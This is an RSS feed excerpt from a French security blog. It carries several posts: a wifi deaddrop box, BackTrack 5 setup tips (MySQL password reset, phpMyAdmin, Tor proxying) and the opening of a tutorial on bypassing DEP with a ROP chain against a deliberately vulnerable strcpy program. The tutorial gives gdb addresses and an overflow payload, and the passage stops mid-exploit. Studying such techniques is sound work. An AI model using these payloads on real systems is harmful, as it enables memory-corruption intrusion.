<div style="text-align: justify;">Une fois configurée la partagebox n&#8217;a besoin que d&#8217;une prise électrique pourfonctionner. Il suffit alors de la brancher pour qu&#8217;elle soit opérationnelle. Vous pouvez dès lors lui imaginer de multiples utilisations; en deaddrop wifi dans un lieu public, dansune résidence étudiante, dans un bar à vous d&#8217;imaginer. Vous pouvez aussi lui adjoindred&#8217;autres services selon vos envies : la téléphonie (Asterisk) ou messagerie instantanée(Prosody). Je travaille d&#8217;ailleurs actuellement à remplacer le serveur FTP par uneinterface web plus attrayante pour les non-initiés. N&#8217;hésitez pas à partager vos modifications @llero sur twitter.</div>
<h3>Inspiration</h3>
<div style="text-align: justify;"><a title="deaddrops.com" href="http://deaddrops.com/">http://deaddrops.com/</a> Le concept original de clés usb publiques.</div>
<div style="text-align: justify;"><a title="widrop.bzhack.org" href="http://widrop.bzhack.org/">http://widrop.bzhack.org/</a> …et sa version wireless.</div>
<div style="text-align: justify;"><a title="wiki.daviddarts.com/PirateBox" href="http://wiki.daviddarts.com/PirateBox">http://wiki.daviddarts.com/PirateBox</a> La piratebox de David Darts.</div>
<h3>Documentation</h3>
<div style="text-align: justify;"><a title="http://wiki.openwrt.org/" href="http://wiki.openwrt.org/">http://wiki.openwrt.org/</a> Le wiki d&#8217;openwrt, une véritable mine d&#8217;or d&#8217;informations.</div>
<div style="text-align: justify;"><a href="http://wiki.openwrt.org/toh/netgear/wndr3700">http://wiki.openwrt.org/toh/netgear/wndr3700</a> La page du routeur utilisé dans ce guide.</div>
<div style="text-align: justify;"><a title="http://vsftpd.beasts.org/vsftpd_conf.html" href="http://vsftpd.beasts.org/vsftpd_conf.html">http://vsftpd.beasts.org/vsftpd_conf.html</a> Le manuel de configuration de vsftpd, le serveur ftp.</div>
<div style="text-align: justify;"><a title="http://www.thekelleys.org.uk/dnsmasq/docs/dnsmasq-man.html" href="http://www.thekelleys.org.uk/dnsmasq/docs/dnsmasq-man.html">http://www.thekelleys.org.uk/dnsmasq/docs/dnsmasq-man.html</a> Le manuel de dnsmasq, le dhcp/serveur dns choisi par openwrt.</div>
</div>
</div>
]]></content:encoded>
			<wfw:commentRss>http://thehackability.securithib.com/?feed=rss2&#038;p=1004</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Mise à jour des phrases cultes</title>
		<link>http://thehackability.securithib.com/?p=996</link>
		<comments>http://thehackability.securithib.com/?p=996#comments</comments>
		<pubDate>Sun, 21 Aug 2011 08:46:21 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[News internes / internal News]]></category>

		<guid isPermaLink="false">http://thehackability.securithib.com/?p=996</guid>
		<description><![CDATA[Ca n&#8217;est pas une trés grosse news, je vous l&#8217;accordes, mais je souhaitais vous annoncé que les citations en bas à droite des post ont été mises à jour. J&#8217;ai constaté à l&#8217;époque d&#8217;attackvector.lescigales qu&#8217;étant donné l&#8217;irrégularité des publications dans le temps, ce qui poussait la majorité des utilisateurs non avertis à venir sur le [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Ca n&#8217;est pas une trés grosse news, je vous l&#8217;accordes, mais je souhaitais vous annoncé que les citations en bas à droite des post ont été mises à jour.</p>
<p style="text-align: justify;">J&#8217;ai constaté à l&#8217;époque d&#8217;attackvector.lescigales qu&#8217;étant donné l&#8217;irrégularité des publications dans le temps, ce qui poussait la majorité des utilisateurs non avertis à venir sur le site  été de refresh les pages à l&#8217;infini afin de voir les nouvelles citations, qui pour quelques unes sont devenu au fil du temps des phrases cultes, ne mentez pas! Je vous ai vu.  Donc je vous laisse découvrir au fil des postes les nouvelles citations ajoutées.</p>
<p style="text-align: justify;">Allez pour la route en voici une choisi au hasard :</p>
<blockquote>
<p style="text-align: justify;">Comment tu peux savoir ça ? Facile je suis de retour du futur.. (3jours plus tard) Mais nan, c&#8217;était pas le futur , c&#8217;était wikipedia.</p>
</blockquote>
<p style="text-align: justify;">
]]></content:encoded>
			<wfw:commentRss>http://thehackability.securithib.com/?feed=rss2&#038;p=996</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Trucs &amp; Astuces sur bt5</title>
		<link>http://thehackability.securithib.com/?p=976</link>
		<comments>http://thehackability.securithib.com/?p=976#comments</comments>
		<pubDate>Wed, 10 Aug 2011 16:28:16 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Trucs et astuces]]></category>

		<guid isPermaLink="false">http://thehackability.securithib.com/?p=976</guid>
		<description><![CDATA[Auteur : ThibautL C&#8217;est fait , je me suis enfin mis à backtrack5 , je vous demandes bien quel site de sécurité informatique pourrait abordé la sécurité sans parler du fameux backtrack, afficionado de cette distribution depuis la version 2  je n&#8217;ai pu m&#8217;empèché de regarder à quoi cette dernière ressemblait. Donc aprés avoir téléchargé [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Auteur : ThibautL</p>
<p style="text-align: justify;">C&#8217;est fait , je me suis enfin mis à backtrack5 , je vous demandes bien quel site de sécurité informatique pourrait abordé la sécurité sans parler du fameux backtrack, afficionado de cette distribution depuis la version 2  je n&#8217;ai pu m&#8217;empèché de regarder à quoi cette dernière ressemblait. Donc aprés avoir téléchargé /installé la dernière version Gnome ,ayant dans le cadre de mon entreprise  build il n&#8217;y a pas longtemps une distribution sécurité orienté programmation sur systeme embarqué et web basé sur Ubuntu lucid je n&#8217;ai pas trop été dépaysé.Comme il est devenu monnaie courante pour moi de partager quelques astuces d&#8217;installation ou d&#8217;utilisation (Installation de BT4 sur MSI wind <a href="http://attackvector.free.fr/help/msi%20wind%20u100%20-%20akoya%20E1210/">MSI wind u 100 </a> ou bien encore <a href="http://thehackability.securithib.com/?p=721"> BT4 defenestration</a> dans la zine 50-1337 #1 ). Voici comment utilisé sa distrib pour se lancer dans la programmation web.</p>
<p>Soit :</p>
<ul>
<li>- changer son pass mysql</li>
<li>- installer phpmyadmin</li>
<li>- utiliser chromium-browser et firefox pour naviguer</li>
<li>- naviguer &#8220;anonymement&#8221; avec tor/polipo/privoxy</li>
</ul>
<p>Je tiens à précisé que le fait que backtrack5 soit basé sur ubuntu lucid n&#8217;est pas forcément une mauvaise chose. Ubuntu est une distribution qui permet en peu de temps d&#8217;installation de commencé à travailler avec des outils performants et adaptés a nos besoins, c&#8217;est un gain de temps et de productivité considérable, la communauté Ubuntu étant une des plus grande communauté libre/opensource au monde ,une des plus actives, performantes en termes d&#8217;innovation et de compatibilité avec les systèmes existants , il y a par conséquent plus de main d&#8217;oeuvre pour les mises à jours.</p>
<p style="text-align: justify;">Backtrack 3 avait aussi ses avantages, la distribution étant basé sur slax (une communauté aussi intéressante et pointue mais moins répandue dans le monde), je me souviens qu&#8217;on pouvait par exemple accèder à plus de systèmes de fichiers par défaut , installé son lilo sur  son vieu ipod et booté son custom OS en s&#8217;aidant de la gnu-arm toolchain (exemple épique qui plus est).</p>
<p style="text-align: justify;">Ne renions pas le fait que l&#8217;avenir de l&#8217;informatique passe par la GUI-sation, les applications deviennent de plus en plus user-friendly, pour plus de productivité et de facilité a l&#8217;utilisation, bien que certains outils de sécurité se doivent pour des raisons d&#8217;éthique de rester en ligne de commande ou code source à cause des dommages possibles qu&#8217;ils pourraient occasionnés entre de mauvaises mains.</p>
<p style="text-align: justify;">Voici quelques astuces en vrac. Une réunification de post-it un peu plus désordonnée que précédemment, cet article est d&#8217;ailleur voué à des modifications ultérieures.</p>
<p style="text-align: justify;">
<p style="text-align: justify;">Note : Les résultats des commandes sont affichés en italique.Les commandes sont affichées en gras.</p>
<p style="text-align: justify;">Note sur l&#8217;anonymité : Dans le cadre d&#8217;une analyse de malware non simulée (in real world), l&#8217;anonymité selon l&#8217;utilisation que vous lui dédierai, peut être considéré comme un impératif. Homeost4sie nous a démontré dans son article intitulé <a href="http://thehackability.securithib.com/?p=878">Cas d&#8217;infection via une navigation anonyme mais pas anodine</a> que la navigation &#8220;anonyme&#8221; de type proxy php publique n&#8217;est pas conseillée pour l&#8217;analyse de malwares, les sites proxy peuvent être asujetti à des attaques au même titre que les autres attaques présente sur les sites web c&#8217;est pourquoi je penses qu&#8217;il est intéressant de vous sensibiliser sur ces techniques.</p>
<h2>Version :</h2>
<p style="text-align: justify;"><strong>cat /etc/lsb-release </strong></p>
<p style="text-align: justify;"><em>DISTRIB_ID=Ubuntu</em></p>
<p style="text-align: justify;"><em>DISTRIB_RELEASE=10.04</em></p>
<p style="text-align: justify;"><em>DISTRIB_CODENAME=lucid</em></p>
<p style="text-align: justify;"><em>DISTRIB_DESCRIPTION=&#8221;Ubuntu 10.04.2 LTS&#8221;</em></p>
<h2>Les dépôts lucid</h2>
<p style="text-align: justify;">nano /etc/apt/sources.list &amp;&amp; apt-get update</p>
<div id="_mcePaste">
<div>
<div><em>deb http://all.repository.backtrack-linux.org revolution main microverse non-fr$</em></div>
<div><em>deb http://32.repository.backtrack-linux.org revolution main microverse non-fre$</em></div>
<div><em>deb http://source.repository.backtrack-linux.org revolution main microverse non$</em></div>
<div><em><br />
</em></div>
<div><em>deb http://fr.archive.ubuntu.com/ubuntu/ lucid main restricted</em></div>
<div><em>deb http://security.ubuntu.com/ubuntu lucid-security main restricted</em></div>
<div><em>deb http://fr.archive.ubuntu.com/ubuntu/ lucid-updates main restricted</em></div>
</div>
<div><em>#ctrl + o pour enregistrer</em></div>
<h2>Installation de chromium-browser :</h2>
</div>
<div>
<div><strong>apt-get install chromium-browser</strong></div>
<div><strong>apt-get install flashplugin-nonfree</strong></div>
<div>Executez chromium-browser en root (ça peut arrivé):</div>
<div>
<div><strong>cd /usr/lib/chromium-browser</strong></div>
<div><strong>hexedit chromium-browser</strong></div>
</div>
<div>Une fois sur hexedit appuyez sur <strong>[TAB]</strong> pour passé en mode édition ascii puis utilisez <strong>ctrl + s</strong> pour lancer la recherche sur <strong>geteuid</strong> , remplacez la chaîne de caractère par<strong> getppid . </strong>Faîtes<strong> ctrl + x</strong> pour sauvegarder et quitter l&#8217;editeur (cette technique marche aussi pour vlc dans /usr/bin/vlc).</div>
<h2>Installation du panneau d&#8217;utilisateur ubuntu :</h2>
<div>
<div><strong>apt-get install gnome-system-tools</strong></div>
<div>ensuite  System &#8211;&gt; administration &#8211;&gt; user and accounts</div>
</div>
<h2>Changer son pass MYSQL</h2>
<div>
<div>Stoppez les services mysql existant :</div>
<div><strong>/etc/init.d/mysql stop</strong></div>
<div>Démarrez le serveur MySQL sans mot-de-passe:</div>
<div><strong>mysqld_safe &#8211;skip-grant-tables &amp;</strong></div>
<div><em>[1] 5988</em></div>
<div><em>Starting mysqld daemon with databases from /var/lib/mysql</em></div>
<div><em>mysqld_safe[6025]: started</em></div>
<div>Connectez vous au serveur Mysql en utilisant le client:</div>
<div><strong>mysql -u root</strong></div>
<div><em>Welcome to the MySQL monitor.  Commands end with ; or \g.</em></div>
<div><em>Your MySQL connection id is 1 to server version: 4.1.15-Debian_1-log</em></div>
<div><em>Type &#8216;help;&#8217; or &#8216;\h&#8217; for help. Type &#8216;\c&#8217; to clear the buffer.</em></div>
<div><em>mysql&gt;</em></div>
<div>Configurez un nouveau mot-de-passe :</div>
<div><strong>mysql&gt; use mysql;</strong></div>
<div><strong>mysql&gt; update user set password=PASSWORD(&#8220;VOTRE-NOUVEAU-PASS-ROOT&#8221;) where User=&#8217;root&#8217;;</strong></div>
<div><strong>mysql&gt; flush privileges;</strong></div>
<div><strong>mysql&gt; quit</strong></div>
<div>Stoppez le serveur mysql:</div>
<div><strong>/etc/init.d/mysql stop</strong></div>
<div><em>Stopping MySQL database server: mysqld</em></div>
<div><em>STOPPING server from pid file /var/run/mysqld/mysqld.pid</em></div>
<div><em>mysqld_safe[6186]: ended</em></div>
<div><em>[1]+  Done                    mysqld_safe &#8211;skip-grant-tables</em></div>
<div>Démarrez le serveur et testez le :</div>
<div><strong>/etc/init.d/mysql start</strong></div>
<div><strong> mysql -u root -p</strong></div>
<h2><strong>Installer phpmyadmin</strong></h2>
<p>Démarrez votre serveur apache2 :</p>
<p><strong>apache2ctl start</strong></p>
<p>Allez dans votre dossier  www:</p>
<p><strong>cd /var/www/</strong></p>
<p>Téléchargez /extraire la dernière version :</p>
<p><strong>wget http://sourceforge.net/projects/phpmyadmin/files%2FphpMyAdmin%2F3.4.3.2%2FphpMyAdmin-3.4.3.2-all-languages.tar.gz/download#!md5!9fabdaca484e72f4c4cea0ed858fa27e</strong></p>
<p><strong>tar -zxvf php*</strong></p>
<p>Renommez le dossier extrait en pma (par exemple)</p>
<p>Editez le fichier</p>
<p><strong>cd pma/</strong></p>
<p><strong>nano /libraries/config.default.php</strong></p>
<p>Remplacez les cases appropriées par vos identifiant de connection.</p>
<p><em>$cfg['Servers'][$i]['user']          = &#8216;root&#8217;;</em></p>
<p><em>$cfg['Servers'][$i]['password']      = &#8216;cbb74bc&#8217;; // use here your password</em></p>
<p><em>$cfg['Servers'][$i]['auth_type']     = &#8216;config&#8217;;</em></p>
<p>Enregistrez le à la racine du dossier principal phpMyAdmin avec le nom config.inc.php, remplacez-le si celui-ci est déja existant.</p>
<p>Retournez dans le dossier pma et créez un dossier nommé config:</p>
<p><strong>mkdir config </strong></p>
<p>Changez les permissions de lecture/écriture du dossier :</p>
<p><strong>chmod o+rw config </strong></p>
<p>Copiez le fichier dans le dossier config :</p>
<p><strong>cp config.inc.php config/ </strong></p>
<p>Donnez les permissions:</p>
<p><strong>chmod o+w config/config.inc.php </strong></p>
<p>Ouvrez la page d&#8217;installation avec votre navigateur :</p>
<p><strong>http://1270.0.1/pma/setup/</strong></p>
<p>Complètez les champs à l&#8217;écran.</p>
<p>Une fois bien configurez hotez les permissions du fichier et du dossier concerné.</p>
<p><strong>mv config/config.inc.php . </strong></p>
<p><strong>chmod o-rw config.inc.php</strong></p>
<p>Et enfin supprimez le dossier :</p>
<p><strong>rm -rf config</strong></p>
<p>A l&#8217;aide d&#8217;un .htaccess et du fichier robots.txt pensez à désactiver la navigation sur les endroits sensible de l&#8217;application /libraries et  /setup/lib(voir deny pour le htaccess et disallow pour le fichier robots.txt).</p>
<h2>Navigation Anonyme</h2>
<h3>Installation des applications</h3>
<p>apt-get install tor tor-geoipdb privoxy polipo</p>
<h3>Configurez polipo :</h3>
<p><strong>mv /etc/polipo/config /etc/polipo/config.orig</strong></p>
<p><strong>wget https://gitweb.torproject.org/torbrowser.git/blob_plain/HEAD:/build-scripts/config/polipo.conf \</strong></p>
<p><strong>-O /etc/polipo/config</strong></p>
<p>Vous pouvez aussi customiser le fichier config en changeant le port par exemple :</p>
<p><em>proxyPort = 8123</em></p>
<p>Redémarrez le service polipo</p>
<p>service polipo restart</p>
<h3>Adblock pour polipo :</h3>
<p>(cette technique convertis la liste utilisée par l&#8217;extension firefox adblock plus)</p>
<p>Récupération du fichier python :</p>
<p><strong>wget http://sites.google.com/site/monkeesage/files/adblock2polipo.py -O /usr/local/bin/adblock2polipo.py</strong></p>
<p>Configuration des permissions :</p>
<p><strong>chmod a+x /usr/local/bin/adblock2polipo.py</strong></p>
<p>Télechargement de la dernière blacklist :</p>
<p><strong>wget &#8211;no-check-certificate http://easylist.adblockplus.org/easylist.txt</strong></p>
<p>Mise à jour de la blacklist sur polipo:</p>
<p><strong>cp /etc/polipo/forbidden /etc/polipo/forbidden.orig</strong></p>
<p><strong>bash -c &#8220;/usr/local/bin/adblock2polipo.py easylist.txt &gt;&gt; /etc/polipo/forbidden&#8221;</strong></p>
<p>Correction d&#8217;une erreur de syntaxe :</p>
<p><strong>sed -i -e &#8216;s_+adverts_//+adverts_g&#8217; /etc/polipo/forbidden</strong></p>
<p>Ajout d&#8217;une image gif taille 1&#215;1 dédié à l&#8217;affichage des sites blacklisté :</p>
<p>Editez /etc/polipo/config :</p>
<p><em>localDocumentRoot = &#8220;/usr/share/polipo/www&#8221;</em></p>
<p>En bas du fichier , ajoutez :</p>
<p><em>forbiddenUrl = http://127.0.0.1:8118/empty.gif</em></p>
<p>Téléchargez le mini gif :</p>
<p><strong>wget -O /usr/share/polipo/www/empty.gif \</strong></p>
<p><strong>http://upload.wikimedia.org/wikipedia/commons/4/4b/Empty.gif</strong></p>
<p>Redémarrez polipo :</p>
<p><strong>service polipo restart</strong></p>
<h3>Configuration de Privoxy :</h3>
<p>Editez /etc/privoxy/config</p>
<p><em># Set the listen address to 127.0.0.1:8118</em></p>
<p><em>listen-address 127.0.0.1:8118</em></p>
<p><em># forward privoxy to TOR</em></p>
<p><em>forward-socks4a / 127.0.0.1:9050 .</em></p>
<p><em># Alternately use socks5</em></p>
<p><em># See : here</em></p>
<p><em># forward-socks5 / 127.0.0.1:9050 .</em></p>
<p><em>#keep-alive-timeout 300</em></p>
<p><em>keep-alive-timeout 600</em></p>
<p><em>#default-server-timeout 60</em></p>
<p><em>default-server-timeout 600</em></p>
<p><em>#socket-timeout 300</em></p>
<p><em>socket-timeout 600</em></p>
<p>Redémarrez privoxy :</p>
<p><strong>service privoxy restart</strong></p>
<h3>Optimisation de firefox pour privoxy (modifier dans about:config) :</h3>
<p><em>network.http.keep-alive true</em></p>
<p><em>network.http.keep-alive.timeout 600</em></p>
<p><em>network.http.max-connections 30</em></p>
<p><em>network.http.max-connections-per-server 15</em></p>
<p><em>network.http.max-persistent-connections-per-proxy 16</em></p>
<p><em>network.http.max-persistent-connections-per-server 6</em></p>
<p><em>network.http.pipelining true</em></p>
<p><em>network.http.pipelining.maxrequests 8</em></p>
<p><em>network.http.pipelining.ssl true</em></p>
<p><em>network.http.proxy.keep-alive true</em></p>
<p><em>network.http.proxy.pipelining true</em></p>
<h3>Chromium-browser avec proxy :</h3>
<p>Plugin Chromium : Proxy switchy !</p>
<p>https://chrome.google.com/extensions/detail/caehdcpeofiiigpdhbabniblemipncjj?hl=en</p>
<div class="wp-caption alignnone" style="width: 692px"><img title="Proxy switchy pour chromium-browser" src="http://img33.imageshack.us/img33/8788/chromiums.png" alt="Proxy switchy pour chromium-browser" width="682" height="517" /><p class="wp-caption-text">Proxy switchy pour chromium-browser</p></div>
<h3>Firefox sur privoxy:</h3>
<div class="wp-caption alignnone" style="width: 618px"><img title="firefox privoxy configuration" src="http://img695.imageshack.us/img695/8116/ffprivoxy.png" alt="firefox privoxy configuration" width="608" height="562" /><p class="wp-caption-text">firefox privoxy configuration</p></div>
<h3>Gnome sur proxy :</h3>
<p>Naviguez dans :</p>
<p>System -&gt; Preferences -&gt; Network Proxy</p>
<div class="wp-caption alignnone" style="width: 528px"><img title="Gnome proxy (polipo) system wide" src="http://img40.imageshack.us/img40/7735/system.gif" alt="Gnome proxy (polipo) system wide" width="518" height="499" /><p class="wp-caption-text">Gnome proxy (polipo) system wide</p></div>
<h2>Liens concernant cet article :</h2>
<p>L&#8217;astuce pour executer chromium-browser en root :<br />
<a href="http://ksiiitm.blogspot.com/2011/05/running-chromium-browser.html">http://ksiiitm.blogspot.com/2011/05/running-chromium-browser.html</a><br />
Récupéré son mot-de-passe MYSQL :<br />
<a href="http://www.cyberciti.biz/tips/recover-mysql-root-password.html">http://www.cyberciti.biz/tips/recover-mysql-root-password.html</a><br />
Documentation officielle phpmyadmin :<br />
<a href="http://www.phpmyadmin.net/documentation/#quick_install">http://www.phpmyadmin.net/documentation/#quick_install</a><br />
Site pourvu de tutoriels intéressant sur la navigation anonyme.<br />
<a href="http://bodhizazen.net/Tutorials/TOR">http://bodhizazen.net/Tutorials/TOR</a></p>
</div>
</div>
]]></content:encoded>
			<wfw:commentRss>http://thehackability.securithib.com/?feed=rss2&#038;p=976</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Defeating DEP through a mapped file</title>
		<link>http://thehackability.securithib.com/?p=932</link>
		<comments>http://thehackability.securithib.com/?p=932#comments</comments>
		<pubDate>Sun, 07 Aug 2011 17:49:40 +0000</pubDate>
		<dc:creator>Homeostasie</dc:creator>
				<category><![CDATA[Autres]]></category>
		<category><![CDATA[Ethical hacking]]></category>
		<category><![CDATA[Non classé]]></category>
		<category><![CDATA[Reversing , Cracking, Forensic]]></category>

		<guid isPermaLink="false">http://thehackability.securithib.com/?p=932</guid>
		<description><![CDATA[By Homeostasie (Nicolas.D) 1) Introduction I am going to talk about a way to bypass DEP (Data Execution Prevention) in local exploitation. DEP is intended to prevent an application from executing code from a non-executable memory region, including the stack. This helps prevent certain buffer overflow exploits. But as we know, some methods have been [...]]]></description>
			<content:encoded><![CDATA[<p><em>By Homeostasie (Nicolas.D)</em></p>
<h2 style="text-align: justify;"><strong>1) Introduction</strong></h2>
<p style="text-align: justify;"><!-- p { margin-bottom: 0.21cm; } --></p>
<p style="text-align: justify;">I am going to talk about a way to bypass DEP (Data Execution Prevention) in local exploitation. DEP is intended to prevent an application from executing code from a non-executable memory region, including the stack. This helps prevent certain buffer overflow exploits. But as we know, some methods have been already described previously. They relies on:</p>
<ul style="text-align: justify;">
<li>a classic “ret-to-libc”</li>
<li>copying data into executable regions</li>
<li>disabling DEP for the current process.</li>
</ul>
<p style="text-align: justify;">Recently, I was looking for another technique adapted to a Linux system and I thought to use mmap() to map a local file containing our shellcode in the virtual memory and then jump on it. ROP (Return-Oriented Programming) technique will be used to craft the function parameters.</p>
<p style="text-align: justify;">After a web search, I did not notice any articles treating about this. That&#8217;s why I took the opportunity to describe it through a basic example in this paper. I will explain the exploit design in detail, according to the difficulties encountered, and some tricks for overcoming them.</p>
<h2><strong>2) Description of the attack scenario</strong></h2>
<p><!-- p { margin-bottom: 0.21cm; } --></p>
<p style="text-align: justify;"><span style="color: #000000;">For this article, we use  a source-code which has a common buffer overflow due to a bad usage of the strcpy() function (because of non realized checks on the input string parameter).</span></p>
<p>#include &lt;stdio.h&gt;</p>
<p>#include &lt;string.h&gt;</p>
<p>#include &lt;stdlib.h&gt;</p>
<pre> void copy(char *arg)
 {
     char msg[128];
     strcpy(msg,arg);
     printf("your argument is: %s\n",msg);
 }</pre>
<pre> int main(int argc, char **argv)
 {
     if (argc != 2)
     {
         printf("Usage : prog argv1\n");
         exit(1);
     }</pre>
<pre style="text-align: justify;">    copy(argv[1]);
    return 0;
 }</pre>
<p style="text-align: justify;"><!-- p { margin-bottom: 0.21cm; } --></p>
<p style="text-align: justify;">This source-code is compiled without SSP (Stack-Smashing Protector) and the ASLR is currently disabled.</p>
<p style="text-align: justify;">
<p style="text-align: justify;">First of all, one of the major difficulty is related to the two APIs chaining. Actually, it necessarily  open a local file with the open() function and call mmap() function with the file descriptor returned by open().</p>
<p style="text-align: justify;">Then, the second aspect will be to craft the input parameters knowing that NULL bytes will be required for mmap() function. We will see further details about this approach.</p>
<p style="text-align: justify;">Finally, we need to find useful “gadgets” to forge our attack scenario. Note that, there are no generic way to build our ROP exploit, several solutions are possible, we should think a bit cleverer than previously.</p>
<p style="text-align: justify;">
<p style="text-align: justify;"><span style="color: #000000;">Before going into details, we must find out a way to build our exploit. Firstly we  verify the functions prototype.</span></p>
<p>The open() function:</p>
<blockquote><p>int open(const char *pathname, int flags);</p></blockquote>
<p>where the return value is a file descriptor and the input parameters are the file name and the access modes.</p>
<p>The mmap() function:</p>
<blockquote><p>void *mmap(void *start, size_t length, int prot, int flags, intfd, off_t offset);</p></blockquote>
<p><!-- p { margin-bottom: 0.21cm; } -->The return value is a pointer <span style="color: #000000;">in</span> the mapped area , the input parameters are :</p>
<ul>
<li>the 	starting address (usually set to 0),</li>
<li>the 	data length to map,</li>
<li>the 	memory protection (PROT_EXEC, PROT_READ, PROT_WRITE),</li>
<li>the 	type of the mapped object (MAP_SHARED, MAP_PRIVATE),</li>
<li>the 	file descriptor</li>
<li>the 	offset.</li>
</ul>
<p style="text-align: justify;">Now we need a global view of <span style="color: #000000;">the BoF skeleton</span> onto the stack according to the function parameters.</p>
<p><img class="alignnone" title="Global View - Attack scenario" src="http://attackvector.free.fr/homeo/defeatingDEP/images/GlobalView.png" alt="" width="361" height="449" /></p>
<p style="text-align: justify;">
<p style="text-align: justify;">
<p style="text-align: justify;">
<p style="text-align: justify;">
<p style="text-align: justify;">
<p style="text-align: justify;">
<p style="text-align: justify;">
<p style="text-align: justify;">
<p style="text-align: justify;">
<p style="text-align: justify;">
<p style="text-align: justify;">
<p style="text-align: justify;">
<p style="text-align: justify;">
<p style="text-align: justify;">
<p style="text-align: justify;">
<p style="text-align: justify;">
<p style="text-align: justify;">
<p style="text-align: justify;">
<p style="text-align: justify;">
<p style="text-align: justify;">
<p style="text-align: justify;">
<p style="text-align: justify;">
<p style="text-align: justify;">
<p style="text-align: justify;">
<p style="text-align: justify;">
<p style="text-align: justify;">
<p style="text-align: justify;">
<p style="text-align: justify;">
<p style="text-align: justify;">
<p style="text-align: justify;">
<p><!-- p { margin-bottom: 0.21cm; } --></p>
<p style="text-align: justify;"><span style="color: #000000;">Well, if it looks scary, read carefully the following lines.</span></p>
<p style="text-align: justify;"><span style="color: #000000;">On the one hand</span>, as classical buffer overflow, we had to seek the number of bytes in order to overwrite eip and ebp registers. In this case, I need 136 bytes.</p>
<p style="text-align: justify;"><span style="color: #000000;">On the second hand,  I would like to get directly the function addresses and gadgets into the “libc” library. </span></p>
<p style="text-align: justify;"><span style="color: #000000;">Note : For understanding purpose, this proof of concept describes a situation without the ASLR protection.</span></p>
<p style="text-align: justify;">Under GDB, I get the two following addresses:</p>
<pre> gdb$ p open
 $1 = {&lt;text variable, no debug info&gt;} 0xb7694b10 &lt;open&gt;</pre>
<pre> gdb$ p mmap
 $2 = {&lt;text variable, no debug info&gt;} 0xb76a1ab0 &lt;mmap&gt;</pre>
<h2 style="text-align: justify;">3) Building a ROP exploit</h2>
<p><!-- p { margin-bottom: 0.21cm; } --></p>
<p style="text-align: justify;"><span style="color: #000000;">I decided to split the exploit implementation  in three parts. </span>These steps will describe how to open our local file, how to map it after having crafted parameters and finally how to jump on it.</p>
<h3><strong>3.1) Step 1 &#8211; Open a file containing our shellcode with “ret-to-libc” method</strong></h3>
<p style="text-align: justify;"><span style="text-decoration: underline;">Question</span>: Should I build the open() arguments on the fly?<br />
<span style="text-decoration: underline;">Answer</span>: No, you can do that by setting parameters in your shellcode.</p>
<p><!-- p { margin-bottom: 0.21cm; } --><span style="color: #000000;">In order to set the pathname parameter, we basically look for a pointer on a string into the binary, in example, helped by the environment variables.</span></p>
<p><span style="color: #000000;">The following commands show a list of several choice:</span></p>
<pre style="text-align: justify;"> gdb$ x/220s $esp
 0xbffff484:     "\220\204\004\b����P\204��\002"
 0xbffff492:     ""
 0xbffff493:     ""
 0xbffff494:     "\024��� ���8+��"
 [SNIP]
 0xbffffd09:     "COLUMNS=144"
 0xbffffd15:     "DESKTOP_SESSION=default"
 0xbffffd2d:     "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games"
 0xbffffd7a:     "_=/usr/bin/gdb"
 0xbffffd89:     "GDM_XSERVER_LOCATION=local"
 [SNIP]

 gdb$ x/s 0xbffffd15+10
 0xbffffd25:     "default"</pre>
<p><!-- p { margin-bottom: 0.21cm; } --></p>
<p style="text-align: justify;">We  decide to use the “default”  string at the 0xbffffd25 address to create  this file in the current binary path. This one will be filled with our  shellcode.</p>
<p style="text-align: justify;"><span style="color: #000000;">Now, how to set the “flag” parameter that allows us to define the file access mode?</span></p>
<p style="text-align: justify;"><span style="color: #000000;">We need some information about the possible values. The first reaction consist to drop our eyes on the Linux man page. </span></p>
<blockquote style="text-align: justify;"><p>I quote:<br />
The parameter flags must include one of the following access modes: O_RDONLY, O_WRONLY, or O_RDWR. These request opening the file read-only, write-only, or read/write,  respectively. In addition, zero or more file creation flags and file status flags can be bitwise-or&#8217;d in flags. The file creation flags are O_CREAT, O_EXCL, O_NOCTTY, and O_TRUNC. The file status flags are all of the remaining flags listed below…</p></blockquote>
<p style="text-align: justify;">Ok, but we need values corresponding to each options, and we can get them in the “fcntl.h” header file.</p>
<pre> #define O_RDONLY    0x0000
 #define O_WRONLY    0x0001
 #define O_RDWR      0x0002
 #define O_ACCMODE   0x0003
 #define O_BINARY    0x0004    /* must fit in char, reserved by dos */
 #define O_TEXT      0x0008    /* must fit in char, reserved by dos */
 #define O_NOINHERIT 0x0080    /* DOS-specific */
 #define O_CREAT     0x0100    /* second byte, away from DOS bits */
 #define O_EXCL      0x0200
 #define O_NOCTTY    0x0400
 #define O_TRUNC     0x0800
 #define O_APPEND    0x1000
 #define O_NONBLOCK  0x2000</pre>
<p><!-- p { margin-bottom: 0.21cm; } --></p>
<p style="text-align: justify;">The  purpose consists in forging a parameter value without NULL byte. We  cannot realize that by choosing only one of these available options but  It will be possible with a combination among them. We take the 0&#215;0202  (O_RDWR | O_EXCL) value and repeat it twice to get an integer value  (0&#215;02020202).</p>
<p style="text-align: justify;"><span style="color: #000000;">Note:</span><span style="color: #000000;"> I</span><span style="color: #000000;">t is wiser to</span><span style="color: #000000;"> </span><span style="color: #000000;">check the first step our</span><span style="color: #000000;"> </span><span style="color: #000000;">exploit building, just to see if it </span><span style="color: #000000;">is working</span><span style="color: #000000;">.  We take a look around the returned value of the open() function and if nothing is happening, we should get a positive value into eax register.</span></p>
<address style="text-align: justify;"><span style="color: #000000;">gdb$ r `python -c &#8216;print 128*&#8221;A&#8221; + &#8220;\x90\xf4\xff\xbf&#8221; + &#8220;\x10\x8b\xf4\xb7&#8243; + &#8220;\x12\x83\x04\x08&#8243; + &#8220;\x25\xfd\xff\xbf&#8221; + &#8220;FFFF&#8221; + &#8220;\xb0\xf4\xff\xbf&#8221; + &#8220;AAAA&#8221;&#8216;`</span></address>
<address style="text-align: justify;"><span style="color: #000000;"><br />
</span></address>
